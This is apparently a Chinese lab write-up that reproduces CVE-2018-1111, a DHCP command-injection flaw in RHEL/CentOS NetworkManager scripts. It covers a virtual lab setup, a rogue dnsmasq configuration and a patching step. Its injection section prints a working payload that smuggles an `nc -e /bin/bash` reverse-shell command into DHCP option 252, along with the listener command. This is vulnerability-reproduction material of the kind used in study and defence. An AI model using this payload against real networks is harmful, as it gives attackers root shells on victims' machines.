1. 程式人生 > >CVE-2018-1111漏洞復現-環境搭建與dhcp命令注入

CVE-2018-1111漏洞復現-環境搭建與dhcp命令注入

0×01 前言

2018年5月,在Red Hat Enterprise Linux多個版本的DHCP客戶端軟體包所包含的NetworkManager整合指令碼中發現了命令注入漏洞(CVE-2018-1111),該漏洞目前已經進行了修補。攻擊者可以通過本地網路上的惡意DHCP伺服器或使用惡意的虛假DHCP響應來利用此漏洞進行攻擊,一旦攻擊成功,則可以在配置了DHCP的NetworkManager的系統上以root許可權執行任意命令。

 

0×02 漏洞影響面

影響版本

  • Red Hat Enterprise Linux Server 6
  • Red Hat Enterprise Linux Server 7
  • CentOS 6
  • CentOS 7

 

0×03 環境搭建

攻擊機:kali linux   ip:192.168.1.14
受害機:centos7    ip:192.168.1.15

 

 一、配置虛擬網路

開啟VM虛擬機器-選單欄-編輯-虛擬網路編輯器,設定僅主機模式(關掉dhcp,設定ip)。

將 攻擊機 和 受害機 網路配置成僅主機模式:

 

 

 二、搭建dhcp服務

 

 先在kali下設定一下網路

配置ip
ifconfig eth0 192.168
.1.11 netmask 255.255.255.0 配置網管 route add default gw 192.168.1.11

 

 

 

 在當前目錄新建一個dnsmasq.conf檔案,填入以下內容進行配置:

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range=192.168.1.20,192.168.1.30,12h

dhcp-option=3,192.168.1.11

dhcp-option=6,192.168.1.11

log
-queries log-facility=/var/log/dnsmasq.log

 

 

引數解釋

dhcp-range: 表示要分配給客戶機的 ip 地址範圍和租約時間

dhcp-option: 表示指定給 DHCP 客戶端的選項資訊

log-facility: 表示日誌記錄器

 

 

其中配置檔案中包括的 option 取值及含義如下:

3: 設定閘道器地址選項

6: 設定 DNS 伺服器地址選項

252: 為 DHCP 客戶端提供了一個用於配置其代理設定的 URL,wpad-proxy-url

 

 

payload 中涉及到的 option 252 是私人使用保留部分的一部分, 為 dhcp 伺服器使用 252,然後在他們的瀏覽器中寫入與 dhcp 伺服器交談的能力,並要求程式碼 252 從該選項列出的 URL 中獲取關於網路上代理設定的資訊。

這裡 dnsmasq.conf中的dhcp-range設定:

為客戶端分配 192.168.1.20-192.168.1.30/24 這個 ip 地址範圍,租約時間為 12h。

 

  

0×04 命令注入

利用dnsmasq偽造dns伺服器,命令執行 payload 如下:

dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"

 

  

監聽6666埠:

nc -lvp 6666

 

  重啟CentOS的網路服務,然後shell就反彈回來了:

 

我們按一下centos的ip地址,在我們制定的ip段內(192.168.20-192.168.1.30)

0×05 修復方案

終端下執行

更新dhcp
 yum -y update dhclient 
檢視更新日誌
 rpm -qa --changelog dhclient  | grep CVE-2018
        - Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character